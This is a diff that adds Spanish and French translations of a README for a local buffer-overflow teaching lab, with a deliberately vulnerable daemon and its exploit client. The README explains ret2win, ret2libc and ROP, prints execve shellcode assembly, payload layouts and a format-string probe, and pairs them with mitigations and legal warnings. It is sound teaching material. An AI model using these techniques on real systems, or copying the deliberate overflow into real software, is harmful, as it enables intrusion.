+ +**Defensa:** ninguno de los flags del compilador lo detiene solo. Funciona +contra un binario PIE, con NX, con canary — mientras el atacante tenga una +fuga. Las defensas son "no tengas el desbordamiento" y "no fugues +direcciones". Ver la tabla más abajo. + +### 3. `shellcode` — ejecuta tu propio código máquina + +23 bytes, colocados al inicio del búfer, con `RIP` apuntando a ellos: + +```asm +xor esi, esi ; envp = NULL +xor edx, edx ; argv = NULL +movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" como 8 bytes crudos +push rdi ; deja la cadena en la pila +mov rdi, rsp ; rdi = &"/bin/sh" +push 0x3b ; 59 = __NR_execve +pop rax +syscall ; ahora somos un shell +``` + +Esta es la forma más pura del bug: el atacante entrega *las instrucciones*, no +solo la dirección de instrucciones que ya existen. No se necesitan offsets de +libc, así que en principio funciona contra un objetivo estáticamente enlazado, +totalmente randomizado. + +`make verify` ensambla `shellcode.S` y lo compara con el array de bytes embebido +en `fooc.c`, para que no puedan divergir. + +**Defensa:** **NX** (también llamado W^X, "no execute"). Marcar la pila como no +ejecutable hace que el hardware se niegue a buscar instrucciones en ella, y el +`ret` aterriza en una página que no puede ejecutarse. Por eso `make food` pasa +`-z execstack`: una pila Linux normal es `rw-p`, no `rwx`, y la técnica muere +con SIGSEGV en `RIP = la dirección del payload`. La lección más importante del +laboratorio es que cada uno de estos bytes funciona solo porque se le dijo al +compilador que dejara la pila ejecutable. Ese flag está activado para bien de +nadie. + +### También incluido + +| Modo | Qué hace | +|---|---| +| `-t leak` | se conecta, imprime fugas, no envía nada | +| `-t demo` | envía `rip_off + 8` bytes de `0x41`, así que `RIP` se vuelve `0x4141...` y el demonio muere. Prueba el bug sin ningún conocimiento de direcciones | +| `-t sled` | un ret-sled, conservado deliberadamente como ejemplo **fallido**. Sin una fuga, harías fuerza bruta a ASLR llenando el búfer con la dirección de un `ret`. No puede funcionar aquí: `food` acepta 512 bytes, así que el sled tiene ~53 ranuras frente a ~28 bits de entropía. Implementado para que puedas verlo fallar y confirmar que el mecanismo es de verdad "la CPU sigue una cadena de rets" | + +--- + +## La tabla de mitigaciones + +Esta es la parte que hay que recordar. Cada fila es una defensa real, y la +columna derecha muestra qué hace realmente con la cadena de eventos. + +| Mitigación | Cómo activarla | Qué detiene | Qué *no* detiene | +|---|---|---|---| +| **Limita read** | `n = read(fd, buf, sizeof buf - 1);` | **Todo.** El bug no existe, así que nada aguas abajo importa | Nada — es el único fix completo | +| **Canary de pila** | `-fstack-protector-strong` (por defecto en gcc) | El `ret`: la canary se comprueba al final de la función, así que la destrucción se detecta y el proceso aborta antes de que se haga pop de `RIP` | Un error en una función *sin* array (nada que proteger); un desbordamiento que se mantiene por debajo de la canary; todo lo que no retorna normalmente | +| **NX / W^X** | `-z noexecstack` (el valor por defecto) | Shellcode. Las instrucciones del payload no pueden buscarse | ret2win y ret2libc por completo. Son *la razón* de que exista ROP | +| **PIE + ASLR** | `-fPIE` + ASLR=2 (ambos por defecto) | Las direcciones hardcodeadas de ret2win. Todo se mueve en cada ejecución | Todo donde el atacante tenga una fuga. ASLR sube el precio de un exploit; no es un fix. Nota que la pila, el heap y mmap se randomizan, pero el *contenido* del binario principal no — eso es lo que usan las cadenas ROP | +| **No fugues** | ningún `printf("%p")` a clientes; inicializa antes de imprimir | La fuga de información que hace que ASLR sea "gratis" en vez de "caro" | — | +| **No uses `printf(user_data)`** | `printf("%s", buf)` en lugar de `printf(buf)` | Errores de cadena de formato: lecturas de pila `%x`, escrituras arbitrarias `%n` — un *otro* camino a RCE | — | +| **No uses rutas no confiables** | valida y `openat()` bajo un directorio fijo | Path traversal (CWE-22) | — | +| **CET / shadow stack** | `-fcf-protection=full`, soporte de kernel y CPU | El `ret` en sí: la shadow stack recuerda la *verdadera* dirección de retorno y falla ante un desajuste. Atrapa cadenas ROP que usan el `ret` de hardware | Ataques que nunca `ret` (call-oriented, o sobrescribir el objetivo de un puntero de función con una cadena de gadgets que no necesita retorno) | +| **Lenguajes seguros** | Rust, Go, C# para código nuevo | Toda la clase. Las comprobaciones de límites se imponen en ejecución, no se esperan en la revisión | — | + +### Compruébalo por ti mismo + +```sh +make run # demonio vulnerable +make test # las tres técnicas funcionan + +make test-hardened # el mismo código fuente, mitigaciones activadas +``` + +`test-hardened` compila `food_hardened` con `-fstack-protector-strong -fPIE +-pie -z noexecstack`, lo intercambia, vuelve a ejecutar las tres y luego +restaura el vulnerable. Verás: + +``` +### stack segment: 'rw-p' (NOT executable) is what you want to see +--- ret2win was stopped by the mitigations (as expected) +--- ret2libc was stopped by the mitigations (as expected) +--- shellcode was stopped by the mitigations (as expected) +``` + +Y en el log del demonio endurecido, la canary que se dispara: + +``` +*** stack smashing detected ***: terminated +``` + +Léelo con cuidado, porque es la línea más importante de todo el laboratorio: +**la canary atrapó a ret2win, no PIE.** Las tres técnicas mueren en la canary, +porque las tres pasan por el mismo `read()` y destruyen el mismo marco. NX solo +detiene además el *código* del shellcode; PIE solo rompe además la dirección +hardcodeada. Actívalas una a una, y descubrirás que la mayoría de las +mitigaciones individuales te dejan expuesto a algo. + +--- + +## Archivos + +| Archivo | Propósito | +|---|---| +| `food.c` | el demonio vulnerable. 6 errores numerados, cada uno con su fix en el comentario | +| `fooc.c` | el exploit. Reconocimiento de offset basado en objdump, reconocimiento de libc basado en `/proc`, 4 constructores de payload | +| `shellcode.S` | los 23 bytes de shellcode como assembly, para que sean legibles y verificables. `fooc` los lleva en línea y no lo necesita en ejecución | +| `Makefile` | compila, prueba y la comparación endurecida | +| `tests/pty_test.c` | conduce a `fooc` a través de un pseudo-terminal y comprueba salida real de shell | +| `tests/sock_test.c` | verificador independiente sobre un socket crudo, para que el resultado no dependa de `fooc` | +| `food.log` | el log del demonio. Tu prueba de lo que ocurrió | + +--- + +## Dos errores de este laboratorio que merece la pena entender + +No son los errores del programa objetivo. Son errores del exploit y de su +harness de prueba, y ambos produjeron mentiras convincentes. Están +documentados en la fuente donde viven; están aquí porque los patrones de fallo +son instructivos. + +### Alineación de pila: el crash que no es una desreferencia NULL + +**Síntoma.** La toma de control aterriza correctamente — `gdb` te muestra +dentro de `win()` — y entonces muere lo primero que hace `win()`, un +`dprintf()`. El handler de SIGSEGV informa de `RIP` profundo dentro del +formateador de glibc y una dirección de error de `(nil)`, lo que parece +exactamente un puntero corrupto. + +**Causa.** La ABI System V AMD64 exige una alineación de pila de 16 bytes. Un +`ret` normal restaura `%rsp` exactamente como el `call` correspondiente lo +guardó, así que la invariante se preserva gratis. Nuestro `ret` desnudo no: +después de él, `%rsp = buf + rip_off`. Aquí, `buf` está alineado a 16 bytes y +`rip_off` es 88, así que la callee recibe una pila de 8 mod 16. glibc está +compilada con SSE2, y `movaps` **falla** ante un operando mal alineado. En x86 +eso levanta `#GP`, no `#PF`, así que el kernel no tiene dirección de error e +informa `si_addr = 0`. Ese NULL es la pista: un error de alineación disfrazado +de desreferencia NULL. + +**Fix.** Un gadget `ret` *en el offset `rip_off`*, que desplaza el objetivo +real 8 bytes, porque cada `ret` añade exactamente 8 a `%rsp`. El orden es +crítico: una versión anterior pegaba el `ret` *después* del objetivo y +producía `[ padding | target | ret ]`, donde el `ret` final nunca se alcanza y +el fix no hace nada en silencio. Un `ret` perdido que parece un error es casi +siempre intencional. + +### Un socket, dos lectores: el byte que desapareció + +**Síntoma.** El shellcode se reportó como funcionando. Luego se endureció el +harness pty (apagar `ECHO`, para que la terminal dejara de ecoar su propia +línea de comandos hacia sí misma), y la técnica empezó a fallar. Más +profundo, cada técnica perdía exactamente un byte del inicio de cada trozo de +salida: `uid=1000(hanez)` se imprimía como `id=1000(hanez)`, `PWNED-OK` como +`WNED-OK`, `Linux 7.2.7` como `inux 7.2.7`. + +**Causa.** `fooc` solía hacer `dup2()` del socket sobre su propio stdin/stdout +y `execv()` de un `/bin/sh` *local*, mientras un hijo relay forkado también leía +el mismo socket para mover la salida al terminal. Al kernel le da igual que los +dos cooperen. Un socket de stream tiene **un** cursor de lectura, y cada lector +lo mueve, así que los bytes se reparten entre ellos de forma impredecible. El +shell local — un shell de login interactivo — leía exactamente un byte y lo +desechaba, cada vez. `strace -f` lo mostró de inmediato: + +``` +read(0, "u", 1) <- el shell local, comiéndose un byte +read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- el relay, 1 byte corto +``` + +**Fix.** No hay ningún shell en este lado, punto. Hay exactamente un shell en +todo el cuadro, y está en la víctima, dentro del proceso secuestrado, con la +conexión TCP como su stdin/stdout. Este lado solo mueve bytes. Si alguna vez +necesitas dos consumidores de un stream, ese stream necesita un único lector +que lo demultiplexe deliberadamente. + +**La meta-lección.** El primer resultado "funcionante" fue un falso positivo, +producido porque la pty ecoaba su propia línea de comandos hacia sí misma, y el +fix de ese falso positivo es lo que reveló el error real. Las pruebas que no +pueden fallar son peores que ninguna prueba, porque convierten "no lo sé" en +"funciona". Un harness de prueba merece la misma sospecha que el código que +prueba. + +--- + +## Experimentar con ello + +Cosas que merece la pena probar, más o menos en el orden en que más aprendes de +ellas: + +1. **Cambia `FOOD_BUFSZ` a 128.** Vuelve a ejecutar `fooc`. Debería seguir + funcionando sin cambios, porque lee el offset del desensamblado. Luego + rómpelo a mano — hardcodea 88 — y míralo crashear. Después añade un segundo + array entre `buf` y los registros guardados, y mira cómo lo gestiona el + reconocimiento automático. + +2. **Añade `-Wformat-security` y mira qué hace el camino de cadena de + formato.** Envía `%p %p %p %n` y mira a `food` fugando la pila. + +3. **Usa gdb.** `make debug`, luego: + ```gdb + (gdb) break food.c:393 # el read() que se desborda + (gdb) run -p 2342 + (gdb) info registers rsp rbp + (gdb) x/24gx $rsp # observa dónde está la dirección de retorno + (gdb) c # en otra terminal: ./fooc -t ret2win + ``` + El handler de SIGSEGV registra `REG_RIP` y `REG_RSP`, así que `food.log` te + dice si la toma de control aterrizó, incluso cuando el hijo muere antes de + que puedas adjuntarte. + +4. **Borra el fix de alineación** en `fooc.c` y mira el error `#GP` con la + firma `si_addr = 0`. Luego lee `/proc/sys/kernel/randomize_va_space` y + piensa qué randomiza ASLR y qué no. + +5. **Rompe la resolución de símbolos de libc** y mira cómo se adapta `fooc`. + Todo el punto del enfoque `/proc/self/maps` es que ningún offset está + hardcodeado. + +6. **Escribe una cuarta técnica.** Una cadena tipo `ret2csu` si puedes + encontrar `__libc_csu_init`, o una cadena SROP (los marcos `sigreturn` te + dejan controlar todos los registros a la vez). Ambas son ROP puro y no + necesitan memoria ejecutable. + +7. **Arregla `food.c` de verdad**, un error a la vez, y vuelve a ejecutar el + exploit después de cada fix. El orden de la tabla al inicio de `food.c` es + más o menos el orden correcto en que pensar: limita primero el read, porque + nada más importa hasta que el bug desaparece. + +--- + +## Limpieza + +```sh +make stop # detiene food +make clean # elimina los productos de compilación; deja food.log en paz +pkill -x sh # solo si tienes shells sueltos de una prueba que salió mal +``` + +Nota: `pkill -x food` coincide exactamente con el **nombre** del proceso. No +uses `pkill -f ./food` — ese patrón también coincide con el shell donde lo +escribes y mata tu propia sesión. No es una hipótesis; ocurrió mientras se +construía este laboratorio. \ No newline at end of file diff --git a/README.FR.md b/README.FR.md new file mode 100644 index 0000000..1de7172 --- /dev/null +++ b/README.FR.md @@ -0,0 +1,434 @@ +# food / fooc — un débordement de tampon de pile, des deux côtés + +Un laboratoire de sécurité en C99 en deux moitiés : + +- **`food.c`** — un démon TCP volontairement vulnérable. Il contient un vrai + débordement de tampon de pile, digne d'un manuel (CWE-120), plus quelques + bugs en prime. +- **`fooc.c`** — un exploit contre lui. Il calcule l'offset du débordement en + désassemblant le programme cible à l'exécution, lit les fuites d'adresses du + démon et obtient un shell sur la « victime » en écrasant une adresse de + retour sauvegardée. + +Le but n'est pas le shell. Le but est que vous puissiez suivre de bout en bout +comment un bug de sécurité mémoire devient une exécution de code arbitraire — +puis voir exactement quelles contre-mesures arrêtent chaque maillon de cette +chaîne. Chaque ligne des deux programmes est commentée, parce que le mécanisme +est la leçon. + +``` + votre terminal + | + ./fooc (exploit) + | + TCP 127.0.0.1:2342 + | + ./food (démon vulnérable) + | + fork() -> vulnerable_handler() -> overflow -> ret -> votre code +``` + +--- + +## ⚠️ Lisez ceci d'abord + +**`food` est un service réseau volontairement cassé. Il ne se lie qu'à +`127.0.0.1`, et cette valeur par défaut est volontaire — laissez-la.** + +- Ne l'exécutez **pas** sur une machine à laquelle vous tenez, ni sur quelque + chose qui contient des données. +- Ne le liez **pas** à `0.0.0.0` ou à une vraie interface réseau. Il est + volontairement exploitable à distance. +- Pointer `fooc` vers une machine que vous ne possédez pas ou que vous n'avez + pas l'autorisation écrite de tester est une infraction informatique dans la + plupart des juridictions — y compris en vertu de l'UK Computer Misuse Act et + de l'US Computer Fraud and Abuse Act. +- Il se lie à un port non privilégié (>1024), donc pas besoin de root. Ne + l'« améliorez » pas en ajoutant des capabilities ou en l'exécutant comme + service système. +- Chaque connexion est traitée dans un enfant `fork()`, et `food` les reape, + donc les crashs ne s'accumulent pas. Si vous retrouvez ensuite des dizaines + de `sh` qui traînent, `pkill -x sh` est le nettoyage. + +En cas de doute : ce lab est fait pour une machine virtuelle ou un conteneur, +sur un réseau que vous contrôlez, sur une machine sans rien que vous +regretteriez. + +--- + +## Démarrage rapide + +```sh +make # compile food, fooc et les harnesses de test +make run # démarre food sur 127.0.0.1:2342, détaché en arrière-plan +make test # exécute les trois techniques d'exploit +make stop # arrête le démon +``` + +Ensuite, à la main : + +```sh +./fooc -t leak # regardez les fuites d'adresses que food divulgue +./fooc -t demo -v # envoyez du bourrage ; voyez food mourir d'un SIGSEGV +./fooc -t ret2win -i # sautez vers une fonction qui existe déjà -> shell +``` + +### Prérequis + +| Outil | Pour quoi | Remarques | +|---|---|---| +| `gcc` (ou clang) | compilation | C99. Testé avec gcc 16.2 | +| `objdump` | `fooc` | binutils. `fooc` l'appelle à l'exécution | +| `nasm` | `make verify` | uniquement pour recouper la shellcode ; ignoré s'il manque | +| `gdb` | `make debug` | optionnel | +| Linux, x86-64 | les deux | la payload et la chasse aux gadgets dépendent de l'architecture | + +`fooc` a aussi besoin de `-ldl` pour `dlsym()` ; le Makefile s'en charge. + +--- + +## Le bug + +Une ligne dans `food.c` est toute la surface d'attaque : + +```c +char buf[FOOD_BUFSZ]; /* 64 octets */ +n = read(fd, buf, FOOD_READMAX); /* jusqu'à 512 octets depuis le réseau */ +``` + +64 octets de destination, 512 acceptés. L'attaquant écrit 448 octets au-delà +de la fin du tampon, et comme la pile croît vers le bas, « au-delà de la fin » +signifie « dans le cadre au-dessus » — et c'est exactement là que se trouvent +le pointeur de trame sauvegardé et l'**adresse de retour sauvegardée**. + +Dans une fonction x86-64 compilée à `-O0` : + +``` + adresses hautes + +------------------------+ rbp + 16 : locales de l'appelant + | ... | + +------------------------+ rbp + 8 : ADRESSE DE RETOUR SAUVEGARDÉE <-- devient RIP + | saved rbp (8 bytes) | + +------------------------+ rbp : notre pointeur de trame + | line[128] | + | buf[64] | <- rsp : ce que read() remplit + +------------------------+ + adresses basses +``` + +Quand la fonction retourne, `leave; ret` pousse les 8 octets dans `RIP`, et le +CPU saute là où l'attaquant l'a décidé. Tout le reste dans ce lab est de +l'arithmétique sur où pointer. + +Pour cette compilation, les chiffres sont : `buf` fait 64 octets, le `rbp` +sauvegardé fait 8, donc l'adresse de retour est à l'offset **88** du début de +`buf`. `fooc` ne hardcode pas ça — il désassemble `food` et trouve le +`lea -0x50(%rbp)` devant `call read@plt`, donc ça continue de marcher si vous +changez `FOOD_BUFSZ`. + +> gcc vous le dit déjà. Compiler `food` affiche : +> `warning: 'read' writing 512 bytes into a region of size 64 overflows the +> destination [-Wstringop-overflow=]`. N'étouffez jamais cet avertissement +> dans du vrai code. C'est de la sécurité gratuite. + +--- + +## Les trois techniques + +`fooc -t `. Elles sont dans l'ordre où un vrai attaquant s'y +prendrait, parce que chacune a besoin de ce que la précédente vous a appris. + +### 1. `ret2win` — contrôlez le pointeur d'instruction + +``` +[ 88 octets de bourrage ][ l'adresse du win() de food ] + ^ saved rbp + ^ devient RIP +``` + +`win()` est une fonction du programme cible qui exec `/bin/sh`. Écraser +l'adresse de retour avec son adresse, c'est tout l'exploit. + +**Ce que ça apprend :** vous avez un contrôle arbitraire du pointeur +d'instruction. Pas besoin de fuite non plus, car le binaire est compilé avec +`-no-pie`, donc `win()` est à une adresse fixe pour toujours. + +**L'équivalent dans le monde réel** n'est pas « les attaques sont faciles », +mais « ne livrez pas de portes dérobées non documentées dans des binaires +réseau ». S'il existe une fonction comme `win()` dans votre binaire, un +débordement de tampon la trouvera. C'est littéralement la classe des CVE de +backdoor Juniper ScreenOS. + +**Défense :** `-fPIE` (ou ASLR) randomise l'adresse de chargement, donc +l'attaquant doit connaître l'adresse — ce qui signifie en pratique qu'il lui +faut d'abord une fuite. C'est pourquoi `ret2win` échoue contre +`food_hardened`. + +### 2. `ret2libc` — appelez n'importe quoi, par son nom + +``` +[ bourrage ][ pop rdi; ret ][ adresse de "/bin/sh" ][ adresse de system() ] + ^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^ + met rdi la chaîne à envoyer la fonction à appeler +``` + +À l'exécution : `ret` pousse `pop rdi; ret` dans RIP ; ça pousse le pointeur +`"/bin/sh"` dans `RDI` ; son `ret` pousse `system()` dans RIP, pendant que +`RDI` tient toujours la chaîne. `system("/bin/sh")` s'exécute. + +Les gadgets (`pop rdi; ret`) ne sont pas dans `food` — cette glibc n'a pas de +`__libc_csu_init` — donc `fooc` les trouve en scannant la mémoire live de la +libc à la recherche de la paire d'octets `5f c3`. Il localise la libc via +`/proc/self/maps`, trouve les offsets de `system` et `"/bin/sh"` avec +`dlsym()` et calcule la base à partir de la fuite que `food` divulgue. Rien +n'est hardcodé, donc ça survit à une mise à jour de la libc. + +**Ce que ça apprend :** une fois que vous contrôlez `RIP`, vous pouvez +enchaîner des instructions *existantes*. C'est la programmation orientée +retour (return-oriented programming), et c'est à ça que ressemblent presque +tous les vrais exploits, parce que ça ne nécessite pas de mémoire exécutable +fournie par l'attaquant. + +**Défense :** aucun des flags du compilateur ne l'arrête seul. Ça marche +contre un binaire PIE, avec NX, avec canary — tant que l'attaquant a une +fuite. Les défenses sont « n'ayez pas le débordement » et « ne fuytez pas +d'adresses ». Voir le tableau ci-dessous. + +### 3. `shellcode` — exécutez votre propre code machine + +23 octets, placés au début du tampon, avec `RIP` pointant dessus : + +```asm +xor esi, esi ; envp = NULL +xor edx, edx ; argv = NULL +movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" en 8 octets bruts +push rdi ; dépose la chaîne sur la pile +mov rdi, rsp ; rdi = &"/bin/sh" +push 0x3b ; 59 = __NR_execve +pop rax +syscall ; nous voilà un shell +``` + +C'est la forme la plus pure du bug : l'attaquant fournit les *instructions*, +pas seulement l'adresse d'instructions qui existent déjà. Aucun offset de +libc nécessaire, donc ça marche en principe contre une cible statiquement +liée, entièrement randomisée. + +`make verify` assemble `shellcode.S` et le diff contre le tableau d'octets +intégré dans `fooc.c`, pour que les deux ne puissent pas diverger. + +**Défense :** **NX** (aussi appelé W^X, « no execute »). Marquer la pile comme +non exécutable fait que le matériel refuse d'y chercher des instructions, et +le `ret` atterrit sur une page qui ne peut pas tourner. C'est pourquoi +`make food` passe `-z execstack` : une pile Linux normale est `rw-p`, pas +`rwx`, et la technique meurt d'un SIGSEGV à `RIP = l'adresse de la payload`. +La leçon la plus importante du lab est que chacun de ces octets ne fonctionne +que parce qu'on a dit au compilateur de rendre la pile exécutable. Ce flag est +activé pour le bien de personne. + +### Aussi inclus + +| Mode | Ce qu'il fait | +|---|---| +| `-t leak` | se connecte, affiche les fuites, n'envoie rien | +| `-t demo` | envoie `rip_off + 8` octets de `0x41`, donc `RIP` devient `0x4141...` et le démon meurt. Prouve le bug sans aucune connaissance d'adresse | +| `-t sled` | un ret-sled, conservé volontairement comme exemple **échec**. Sans fuite, vous brute-foreeriez ASLR en remplissant le tampon avec l'adresse d'un `ret`. Impossible ici : `food` accepte 512 octets, donc le sled a ~53 emplacements contre ~28 bits d'entropie. Implémenté pour que vous puissiez le voir échouer et confirmer que le mécanisme est vraiment « le CPU suit une chaîne de rets » | + +--- + +## Le tableau des contre-mesures + +C'est la partie à retenir. Chaque ligne est une vraie défense, et la colonne +de droite montre ce qu'elle fait réellement à la chaîne des événements. + +| Contre-mesure | Comment l'activer | Ce qu'elle arrête | Ce qu'elle *n'arrête pas* | +|---|---|---|---| +| **Limitez read** | `n = read(fd, buf, sizeof buf - 1);` | **Tout.** Le bug n'existe pas, donc rien en aval n'a d'importance | Rien — c'est le seul correctif complet | +| **Canary de pile** | `-fstack-protector-strong` (par défaut chez gcc) | Le `ret` : la canary est vérifiée à la sortie de la fonction, la corruption est donc détectée et le processus abort avant que `RIP` soit poussé | Un bug dans une fonction *sans* tableau (rien à protéger) ; un débordement qui reste sous la canary ; tout ce qui ne retourne pas normalement | +| **NX / W^X** | `-z noexecstack` (la valeur par défaut) | La shellcode. Les instructions de la payload ne peuvent pas être cherchées | ret2win et ret2libc complètement. C'est *la raison* pour laquelle ROP existe | +| **PIE + ASLR** | `-fPIE` + ASLR=2 (tous deux par défaut) | Les adresses hardcodées de ret2win. Tout bouge à chaque exécution | Tout ce où l'attaquant a une fuite. ASLR augmente le prix d'un exploit ; ce n'est pas un correctif. Notez que la pile, le tas et mmap sont randomisés, mais pas le *contenu* du binaire principal — c'est ce que les chaînes ROP utilisent | +| **Ne fuytez rien** | aucun `printf("%p")` vers les clients ; initialisez avant d'afficher | La fuite d'information qui rend ASLR « gratuit » au lieu de « cher » | — | +| **N'utilisez pas `printf(user_data)`** | `printf("%s", buf)` au lieu de `printf(buf)` | Les bugs de chaîne de format : lectures de pile `%x`, écritures arbitraires `%n` — une *autre* voie vers RCE | — | +| **N'utilisez pas de chemins non fiables** | validez et `openat()` sous un répertoire fixe | Traversal de chemin (CWE-22) | — | +| **CET / shadow stack** | `-fcf-protection=full`, support noyau et CPU | Le `ret` lui-même : la shadow stack mémorise la *vraie* adresse de retour et fault en cas de mismatch. Attrape les chaînes ROP qui utilisent le `ret` matériel | Les attaques qui ne `ret` jamais (call-oriented, ou écraser la cible d'un pointeur de fonction avec une chaîne de gadgets qui n'a pas besoin de retour) | +| **Langages sûrs** | Rust, Go, C# pour le nouveau code | Toute la classe. Les vérifications de bornes sont imposées à l'exécution, pas espérées à la revue | — | + +### Voyez par vous-même + +```sh +make run # démon vulnérable +make test # les trois techniques fonctionnent + +make test-hardened # même code source, contre-mesures activées +``` + +`test-hardened` compile `food_hardened` avec `-fstack-protector-strong -fPIE +-pie -z noexecstack`, l'échange, rejoue les trois techniques puis remet la +version vulnérable en place. Vous verrez : + +``` +### stack segment: 'rw-p' (NOT executable) is what you want to see +--- ret2win was stopped by the mitigations (as expected) +--- ret2libc was stopped by the mitigations (as expected) +--- shellcode was stopped by the mitigations (as expected) +``` + +Et dans le log du démon durci, la canary qui se déclenche : + +``` +*** stack smashing detected ***: terminated +``` + +Lisez bien, car c'est la ligne la plus importante de tout le lab : **la canary +a attrapé ret2win, pas PIE.** Les trois techniques meurent à la canary, parce +que les trois passent par le même `read()` et écrasent le même cadre. NX +n'arrête en plus que le *code* de la shellcode ; PIE ne casse en plus que +l'adresse hardcodée. Activez-les une par une, et vous découvrirez que la +plupart des contre-mesures isolées vous laissent exposé à quelque chose. + +--- + +## Fichiers + +| Fichier | Rôle | +|---|---| +| `food.c` | le démon vulnérable. 6 bugs numérotés, chacun avec son correctif en commentaire | +| `fooc.c` | l'exploit. Reconnaissance d'offset par objdump, reconnaissance de la libc via `/proc`, 4 constructeurs de payload | +| `shellcode.S` | les 23 octets de shellcode en assembly, pour être lisibles et vérifiables. `fooc` les embarque en ligne et n'en a pas besoin à l'exécution | +| `Makefile` | compile, teste et la comparaison durcie | +| `tests/pty_test.c` | conduit `fooc` à travers un pseudo-terminal et vérifie une vraie sortie de shell | +| `tests/sock_test.c` | vérificateur indépendant sur une socket brute, pour que le résultat ne dépende pas de `fooc` | +| `food.log` | le log du démon. Votre preuve de ce qui s'est passé | + +--- + +## Deux bugs de ce lab qui valent la peine d'être compris + +Ce ne sont pas les bugs du programme cible. Ce sont des bugs de l'exploit et +de sa harnesse de test, et les deux ont produit des mensonges convaincants. +Ils sont documentés dans la source où ils vivent ; ils sont ici parce que les +schémas d'échec sont instructifs. + +### Alignement de pile : le crash qui n'est pas une déréférence NULL + +**Symptôme.** L'overtake atterrit correctement — `gdb` vous montre dans +`win()` — et puis la toute première chose que fait `win()`, un `dprintf()`, +meurt. Le handler SIGSEGV rapporte `RIP` profond dans le formatter de glibc +et une adresse d'erreur de `(nil)`, ce qui ressemble exactement à un pointeur +corrompu. + +**Cause.** L'ABI System V AMD64 exige un alignement de pile de 16 octets. Un +`ret` normal restaure `%rsp` exactement comme le `call` correspondant l'avait +stocké, donc l'invariant est préservé gratuitement. Notre `ret` nu ne le fait +pas : après lui, `%rsp = buf + rip_off`. Ici, `buf` est aligné sur 16 octets +et `rip_off` vaut 88, donc le callee reçoit une pile à 8 mod 16. glibc est +compilé avec SSE2, et `movaps` **fault** sur un opérande mal aligné. Sur +x86, ça soulève `#GP`, pas `#PF`, donc le noyau n'a pas d'adresse d'erreur et +rapporte `si_addr = 0`. Ce NULL est l'indice : une erreur d'alignement +déguisée en déréférence NULL. + +**Correctif.** Un gadget `ret` *à l'offset `rip_off`*, qui décale la vraie +cible de 8 octets, parce que chaque `ret` ajoute exactement 8 à `%rsp`. +L'ordre est critique : une version précédente collait le `ret` *après* la +cible et produisait `[ padding | target | ret ]`, où le `ret` final n'est +jamais atteint et le correctif ne fait silencieusement rien. Un `ret` égaré +qui ressemble à un bug est presque toujours intentionnel. + +### Une socket, deux lecteurs : l'octet disparu + +**Symptôme.** La shellcode était rapportée comme fonctionnant. Puis la harness +pty a été durcie (désactivation de `ECHO`, pour que le terminal arrête de +s'échoir sa propre ligne de commande), et la technique a commencé à échouer. +Plus profondément, chaque technique perdait exactement un octet au début de +chaque morceau de sortie : `uid=1000(hanez)` était affiché comme +`id=1000(hanez)`, `PWNED-OK` comme `WNED-OK`, `Linux 7.2.7` comme +`inux 7.2.7`. + +**Cause.** `fooc` faisait un `dup2()` de la socket sur son propre stdin/stdout +et un `execv()` d'un `/bin/sh` *local*, pendant qu'un enfant relay forké +lisait aussi la même socket pour déplacer la sortie vers le terminal. Le +noyau se moque que les deux coopèrent. Une socket stream a **une** curseur de +lecture, et chaque lecteur la déplace, donc les octets sont répartis entre eux +de façon imprévisible. Le shell local — un shell de connexion interactif — +lisait exactement un octet et le jetait, à chaque fois. `strace -f` l'a montré +immédiatement : + +``` +read(0, "u", 1) <- le shell local, mange un octet +read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- le relay, 1 octet de trop court +``` + +**Correctif.** Il n'y a aucun shell de ce côté-ci, point. Il y a exactement un +shell dans tout le tableau, et il est sur la victime, dans le processus +détourné, avec la connexion TCP comme stdin/stdout. Ce côté ne fait que +déplacer des octets. Si vous avez un jour besoin de deux consommateurs d'un +flux, ce flux a besoin d'un lecteur unique qui le démultiplexe délibérément. + +**La meta-leçon.** Le premier résultat « fonctionnel » était un faux positif, +produit par le fait que le pty s'échoit sa propre ligne de commande, et le +correctif de ce faux positif est ce qui a révélé le vrai bug. Des tests qui ne +peuvent pas échouer sont pires que pas de tests, parce qu'ils transforment « je +ne sais pas » en « ça marche ». Une harnesse de test mérite la même suspicion +que le code qu'elle teste. + +--- + +## Bidouiller dessus + +Des choses qui valent le coup d'essayer, à peu près dans l'ordre où vous en +apprenez le plus : + +1. **Changez `FOOD_BUFSZ` en 128.** Relancez `fooc`. Ça devrait continuer de + marcher sans modification, parce qu'il lit l'offset dans le désassemblage. + Cassez-le ensuite à la main — hardcodez 88 — et voyez-le crasher. Ajoutez + puis un deuxième tableau entre `buf` et les registres sauvegardés, et voyez + la reconnaissance automatique s'en charger. + +2. **Ajoutez `-Wformat-security` et voyez ce que fait le chemin de chaîne de + format.** Envoyez `%p %p %p %n` et voyez `food` fuyter la pile. + +3. **Utilisez gdb.** `make debug`, puis : + ```gdb + (gdb) break food.c:393 # le read() qui déborde + (gdb) run -p 2342 + (gdb) info registers rsp rbp + (gdb) x/24gx $rsp # remarquez où se trouve l'adresse de retour + (gdb) c # dans un autre terminal : ./fooc -t ret2win + ``` + Le handler SIGSEGV journalise `REG_RIP` et `REG_RSP`, donc `food.log` vous + dit si l'overtake a atterri, même quand l'enfant meurt avant que vous + puissiez vous attacher. + +4. **Supprimez le correctif d'alignement** dans `fooc.c` et voyez l'erreur + `#GP` avec la signature `si_addr = 0`. Lisez ensuite + `/proc/sys/kernel/randomize_va_space` et réfléchissez à ce qu'ASLR + randomise, et à ce qu'il ne randomise pas. + +5. **Cassez la résolution de symboles de la libc** et voyez `fooc` + s'adapter. Tout l'intérêt de l'approche `/proc/self/maps` est qu'aucun + offset n'est hardcodé. + +6. **Écrivez une quatrième technique.** Une chaîne de type `ret2csu` si vous + trouvez `__libc_csu_init`, ou une chaîne SROP (les cadres `sigreturn` + vous laissent contrôler tous les registres d'un coup). Les deux sont du ROP + pur et n'ont besoin d'aucune mémoire exécutable. + +7. **Corrigez `food.c` proprement**, un bug à la fois, et relancez l'exploit + après chaque correctif. L'ordre du tableau en haut de `food.c` est à peu + près le bon ordre de pensée : limitez d'abord le read, car rien d'autre + n'importe tant que le bug n'est pas parti. + +--- + +## Nettoyage + +```sh +make stop # arrête food +make clean # supprime les produits de compilation ; laisse food.log tranquille +pkill -x sh # seulement si vous avez des shells qui traînent d'un test raté +``` + +Notez : `pkill -x food` matche le **nom** du processus exactement. N'utilisez +pas `pkill -f 